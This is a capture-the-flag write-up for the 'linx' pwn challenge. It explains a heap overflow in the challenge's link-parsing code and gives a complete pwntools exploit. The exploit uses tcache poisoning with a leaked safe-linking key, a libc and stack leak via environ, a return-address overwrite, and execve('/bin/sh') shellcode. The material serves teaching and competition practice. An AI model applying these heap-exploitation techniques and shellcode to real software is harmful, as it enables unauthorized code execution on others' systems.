Challenge Description

You like linking with others, don’t you?

Challenge Overview

The challenge allows us to perform 4 operations:

  • [1] Insert new link
  • [2] Unlink a link
  • [3] Show links
  • [4] Quit
  1. The do_link function handles the creation of new links. It uses a regex to validate and parse the input format: [<src>](<dst>)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define LINKS_COUNT 30
#define LINKS_LEN 50

void do_link() {
	char text[512] = {0};

	printf("Insert your link (format: \"[<your src>](<your dst>)\")\n> ");
    if (fgets(text, sizeof(text), stdin) == NULL) exit(EXIT_FAILURE);
    text[strcspn(text, "\n")] = '\0';

    regmatch_t *m = calloc(re.re_nsub+1, sizeof(regmatch_t));
    if (regexec(&re, text, re.re_nsub+1, m, 0) == 0) {
		char *src = calloc(1, LINKS_LEN);
		char *dst = calloc(1, LINKS_LEN);
		for (size_t i = 1; i < re.re_nsub+1; i++) {
	        size_t len = m[i].rm_eo - m[i].rm_so;
			if (i == 1) // first group - link from
				memcpy(src, text+m[i].rm_so, len);
			else if (i == 2) // second group - link to
				memcpy(dst, text+m[i].rm_so, len);
		}
  ...
  • The function defines a local buffer char text[512] to store the raw user input.
  • It reads up to 512 bytes using fgets and strips the trailing newline.
  • After a successful match, it allocates two buffers of size LINKS_LEN (50 bytes) for the source (src) and destination (dst) strings.

After parsing, the program checks if the src and dst strings already exist in the links array to avoid redundant allocations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
bool src_found = false, dst_found = false;
size_t src_idx, dst_idx;
for (size_t i = 0; i < LINKS_COUNT && (!src_found || !dst_found); i++) {
  if (links[i]) {
    if (!strcmp(src, links[i]))
		src_found = true, src_idx = i;
	if (!strcmp(dst, links[i]))
		dst_found = true, dst_idx = i;
	}
}
// need to occasionally alloc them
if (!src_found) {
	for (size_t i = 0; i < LINKS_COUNT && !src_found; i++)
		if (!links[i]) {
			src_found = true, src_idx = i, links[src_idx] = src;
    		if (!strcmp(src, dst)) // handle adding linking from and to same new string
						dst_found = true, dst_idx = i, links[dst_idx] = src;	
      }
} else {
	free(src);
	src = links[src_idx];
}
if (!dst_found) {
	for (size_t i = 0; i < LINKS_COUNT && !dst_found; i++)
		if (!links[i])
			dst_found = true, dst_idx = i, links[dst_idx] = dst;
} else {
	free(dst);
	dst = links[dst_idx];
}
if (!src_found || !dst_found) {
	puts("No space left for new links!");
	free(src);
	free(dst);
	return;
}

Once the source and destination indices are determined, the challenge stores the connection in a global dynamic array named linking. This is managed through a simple realloc call:

1
2
3
4
5
6
7
8
typedef struct {
	size_t src_idx, dst_idx;
} linkT;

...

linking = realloc(linking, ++links_cnt*sizeof(linkT));
linking[links_cnt-1] = (linkT){.src_idx = src_idx, .dst_idx = dst_idx};
  1. The do_unlink function is responsible for removing a link and cleaning up any associated references.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void do_unlink() {
	char text[512] = {0};
	printf("Insert your link to be unlinked\n> ");
    if (fgets(text, sizeof(text), stdin) == NULL) exit(EXIT_FAILURE);
    text[strcspn(text, "\n")] = '\0';

	bool found = false;
	size_t link_idx;
	for (size_t i = 0; i < LINKS_COUNT && !found; i++) {
		if (links[i] && !strcmp(text, links[i]))
			found = true, link_idx = i;
	}
	if (!found) return;
	for (size_t i = 0; i < links_cnt; ) {
		bool is_dst = !strcmp(links[linking[i].dst_idx], text);
		bool is_src = !strcmp(links[linking[i].src_idx], text);
		if (is_src || is_dst) { // need to delete this linking
			memmove(linking+i, linking+i+1, (links_cnt-i-1)*sizeof(linkT));
			linking = realloc(linking, --links_cnt*sizeof(linkT));
		} else i++;
	}
	free(links[link_idx]);
	links[link_idx] = NULL;
}
  1. The show_links function is responsible to shows us all links.

1
2
3
4
5
6
7
8
9
void show_links() {
	puts("Here are all the links you inserted:");
	for (size_t i = 0; i < links_cnt; i++) {
		char *src = links[linking[i].src_idx];
		char *dst = links[linking[i].dst_idx];
		printf("\t\"%s\" -> \"%s\"\n", src, dst);
	}
	puts("End of links");
}
  1. Quit

    In the end, quit, it calls exit() function. oh no, no more main ret

Vuln

The vulnerability in this challenge lies within the do_link function. Specifically, the vulnerability stems from how the function handles user input:

1
2
char text[512] = {0};
if (fgets(text, sizeof(text), stdin) == NULL) exit(EXIT_FAILURE);

However, following this, two chunks of size LINKS_LEN are allocated to store the src and dst strings provided in the input:

1
2
3
4
5
6
7
8
9
char *src = calloc(1, LINKS_LEN);
char *dst = calloc(1, LINKS_LEN);
for (size_t i = 1; i < re.re_nsub+1; i++) {
    size_t len = m[i].rm_eo - m[i].rm_so;
    if (i == 1) 
		memcpy(src, text+m[i].rm_so, len);    //overflow
	else if (i == 2) 
		memcpy(dst, text+m[i].rm_so, len);    //overflow
}

This means that by providing a valid regex string with a payload longer than LINKS_LEN, we can achieve a heap overflow of up to 456 bytes (512 - 50 - 6).

It is important to note that links cannot contain null bytes, and neither the src nor the dst fields can be empty.

Finally, it is worth noting that the program provides a dedicated RWX (Read-Write-Execute) memory region at startup::

1
2
3
4
void *mem = mmap((void*)0x1337000ULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) exit(EXIT_FAILURE);
puts("Welcome, provide me with your linking sauce:");
if (fgets(mem, 0x20, stdin) == NULL) exit(EXIT_FAILURE);

Exploit

To begin, I allocated several chunks to ensure two of them were adjacent. Then, I freed them in a specific order so that the second chunk would remain untouched after the subsequent allocation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
r = conn()

send(r, b"A"*8, b"B"*8)
send(r, b"C"*8, b"D"*8)
send(r, b"E"*8, b"F"*8)
delete(r, b"F"*8) #3
delete(r, b"E"*8) #2
delete(r, b"B"*8) #1

send(r, b"E"*8, b"F"*64)
1
2
3
4
5
6
7
8
┌───────────┐
     B       <--- dummy chunk
├───────────┤
├───────────┤
     E       <--- overflower
├───────────┤
     F       <--- target chunk (freed)
└───────────┘

It is crucial to remember that the application always allocates two chunks at a time. Even if we provide an existing src or dst, the program first allocates the memory and only performs the free() afterward. Therefore, maintaining an “extra” chunk (B) is essential to ensure our target chunks remain undisturbed.

By following this specific sequence, we can reliably trigger the overflow:

  • Allocate chunk B: Acts as a buffer/placeholder.
  • Allocate chunk E: This will be our “overflow source.”
  • Free chunk B: Clears the space before/around our target.
  • Result: Chunk F remains untouched in memory, positioned perfectly to be overwritten by the overflow originating from chunk E.

From here, we can leverage the overflow to leak the secret:

1
2
r.recvuntil(b'Good! You have linked "EEEEEEEE" and "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF')
secret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) + 1

(I incremented the secret value by 1, as this offset will be necessary for a specific operation later in the exploit)

After this leak the heap will be destroyed, so to continue allocating we need an additional send whose chunks must no longer be touched; this send I called “Bob l’aggiusta tutto”

1
send(r, b"G"*8, b"H"*8) #bob l'aggiusta tutto

After this, I made many allocations so as to have some chunks to play with later; also, I managed everything in a way that generates a small bin and puts it in a convenient position to leak the libc base. (The challenge did not provide the libc, but it gave the dockerfile from which I retrieved it)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
send(r, b"1"*8, b"2"*8)
send(r, b"3"*8, b"4"*8)
send(r, b"5"*8, b"6"*8)
send(r, b"7"*8, b"8"*8)
send(r, b"0"*8, b"a"*8)
send(r, b"b"*8, b"c"*8)
send(r, b"d"*8, b"e"*8)
send(r, b"f"*8, b"10"*4)
delete(r, b"10"*4) 
delete(r, b"f"*8) 
send(r, b"f"*8, b"I"*72)

r.recvuntil(b'Good! You have linked "ffffffff" and "IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII')

Subsequently, I used the same technique again to allocate on the environ, leak the stack frame return address of do_link, and then allocate over it to overwrite the ret with the pointer to the RWX zone provided to us:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
environ = libc + 0x23be28 - 0x48

delete(r, b"e"*8) #1
delete(r, b"d"*8) #2
delete(r, b"c"*8) #3 
send(r, b"A"*8, b"P"*64 + p64(environ ^ secret)[:-2])
send(r, b"e"*8, b"d"*8)
delete(r, b"A"*8) 
send(r, b"c"*8, b"SS"*36)

r.recvuntil(b'Good! You have linked "cccccccc" and "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS')
ret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) - 0x150

delete(r, b"e"*8)
delete(r, b"b"*8)
delete(r, b"1")
send(r, b"c"*8, b"Z"*8)
send(r, b"c"*8, b"z"*64 + p64((ret-0x8) ^ secret)[:-2])
send(r, b"e"*8, b"b"*8)
delete(r, b"c"*8) 
send(r, b"2"*8, b"A"*8+b"\x08\x70\x33\x01")#0x1337008ULL

Note that since I cannot send null bytes, otherwise the regex breaks and will not validate it, I send all addresses without null bytes; consequently, it is necessary to return not to 0x1337000, as it contains a null byte, but to 0x1337008. This means that we only have 24 bytes of space to write a working shellcode.

The shellcode I wrote is this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
shellcode = asm("""
        push 0x3b
        pop rax
        cdq
        push rdx
        movabs rbx, 0x68732f6e69622f2f
        push rbx
        push rsp
        pop rdi
        push rdx
        pop rsi
        syscall
 """)

I think it is very clear; the only peculiar instruction is cdq, which is very small, saves a lot of space, and allows for completely clearing RDX if EAX is positive (which in this case it is)


Below I leave the entire script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python3
from pwn import *
from time import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("--local", action="store_true", help="Esegui in modalità locale")
parser.add_argument("--debug", action="store_true", help="Esegui in modalità debug")
args = parser.parse_args()


HOST = "linx.challs.srdnlen.it"
PORT = 1092
exe = ELF("./linx_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

#rop = ROP(exe) #rop.find_gadget(["ret"])[0]

context.aslr = True  # Disabilita ASLR
context.binary = exe
context.terminal = ['tmux', 'split-window', '-h', '-b']

exe.address = base = 0x555555554000 if not context.aslr else exe.address


gdbscript =\
            """
                b *main
                i b
            """
      
def conn():
    if getattr(args, "local", False):  # Modalita' LOCAL
        print("...MODALITA' LOCAL...")
        #r = process([LD_PATH, '--library-path', '.', exe.path])
        r = process([exe.path])
    
    elif getattr(args, "debug", False):  #Modalita' DEBUG
        print("...MODALITA' DEBUG...")
        #r = gdb.debug([LD_PATH, '--library-path', '.', exe.path], gdbscript=gdbscript)
        r = gdb.debug(exe.path, gdbscript=gdbscript)

    else:  # Modalità remota come default
        print("...MODALITA' REMOTE...")
        r = remote(HOST, PORT)

    return r

decode_ptr = lambda ptr, offset=0: (mid := ptr ^ ((ptr >> 12) + offset)) ^ (mid >> 24)
encode_ptr = lambda pos, ptr: (pos >> 12) ^ ptr

def send(r, src, dst):
    r.sendline(b"1")
    r.sendline(b"["+src+b"]"+b"("+dst+b")")

def delete(r, src):
    r.sendline(b"2")
    r.sendline(src)
    

def main():
    r = conn()

    r.interactive() # hashcash

    shellcode = asm("""
        push 0x3b
        pop rax
        cdq
        push rdx
        movabs rbx, 0x68732f6e69622f2f
        push rbx
        push rsp
        pop rdi
        push rdx
        pop rsi
        syscall
    """)
    r.sendline(p64(0) + shellcode)
    r.recvuntil(b"Here's where I put your sauce")

    send(r, b"A"*8, b"B"*8)
    send(r, b"C"*8, b"D"*8)
    send(r, b"E"*8, b"F"*8)
    delete(r, b"F"*8) #3
    delete(r, b"E"*8) #2
    delete(r, b"B"*8) #1

    send(r, b"E"*8, b"F"*64)
    r.recvuntil(b'Good! You have linked "EEEEEEEE" and "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF')
    secret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) + 1

    send(r, b"G"*8, b"H"*8) #bob l'aggiusta tutto
    
    send(r, b"1"*8, b"2"*8)
    send(r, b"3"*8, b"4"*8)
    send(r, b"5"*8, b"6"*8)
    send(r, b"7"*8, b"8"*8)
    send(r, b"0"*8, b"a"*8)
    send(r, b"b"*8, b"c"*8)
    send(r, b"d"*8, b"e"*8)
    send(r, b"f"*8, b"10"*4)
    delete(r, b"10"*4) 
    delete(r, b"f"*8) 
    send(r, b"f"*8, b"I"*72)

    r.recvuntil(b'Good! You have linked "ffffffff" and "IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII')
    libc = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) - 0x234bf0
    environ = libc + 0x23be28 - 0x48

    delete(r, b"e"*8) #1
    delete(r, b"d"*8) #2
    delete(r, b"c"*8) #3 
    send(r, b"A"*8, b"P"*64 + p64(environ ^ secret)[:-2])
    send(r, b"e"*8, b"d"*8)
    delete(r, b"A"*8) 
    send(r, b"c"*8, b"SS"*36)

    r.recvuntil(b'Good! You have linked "cccccccc" and "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS')
    ret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) - 0x150

    delete(r, b"e"*8)
    delete(r, b"b"*8)
    delete(r, b"1")
    send(r, b"c"*8, b"Z"*8)
    send(r, b"c"*8, b"z"*64 + p64((ret-0x8) ^ secret)[:-2])
    send(r, b"e"*8, b"b"*8)
    delete(r, b"c"*8) 
    send(r, b"2"*8, b"A"*8+b"\x08\x70\x33\x01")#0x1337008ULL

    
    print(hex((secret)))
    print(hex(libc))
    print(hex(ret))
    r.interactive()
    
if __name__ == "__main__":
    main()

~SoloPietro